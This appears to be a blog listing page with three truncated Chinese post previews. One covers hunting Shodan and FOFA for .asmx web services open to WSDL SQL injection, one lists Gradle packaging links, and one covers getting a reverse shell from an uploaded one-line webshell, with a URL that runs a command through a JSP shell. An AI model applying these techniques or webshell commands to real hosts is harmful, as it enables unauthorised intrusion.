由于一些机缘巧合，发现了一些SQL注入的新姿势，记录一下； 记录就是一个简单的练手记录，感觉非常有意思； 目标确定 在shodan、fofa上搜asmx，找到疑似存在wsdl注入的站，大概的是这样的：http://vuln_ip:8081/WebService1.asmx?WSDL，一般我们可以通过手工的方式去尝试注入，这样的站访问进去后是类似xml的文件，里面是各种与服务器交互的参数，比如登录页面的username、passwd参数，开发者们都已经配置好这些...

gradle打包 https://blog.csdn.net/EthanCo/article/details/52064044 https://www.kutu66.com/GitHub/article_105897 https://jingyan.baidu.com/article/c45ad29c20a123051753e2af.html .\gradlew.bat task Active co...

一句话木马反弹shell 前提：现在情况是已经上传了一句话木马，可以执行命令如：ls,pwd,whoami等； 问题在于，不管用python、bash还是perl都反弹不了（如下），偷不了懒，就上msf把。 http://target-ip/where/muma/path/are/1587808279743_shell.jsp?pwd=admin&cmd=pwd /u01/oracle/user_projects/domains/base_...